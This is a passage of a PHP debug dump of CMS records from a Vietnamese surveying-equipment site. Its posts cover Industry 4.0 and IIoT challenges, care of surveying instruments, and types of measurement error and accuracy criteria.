font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn 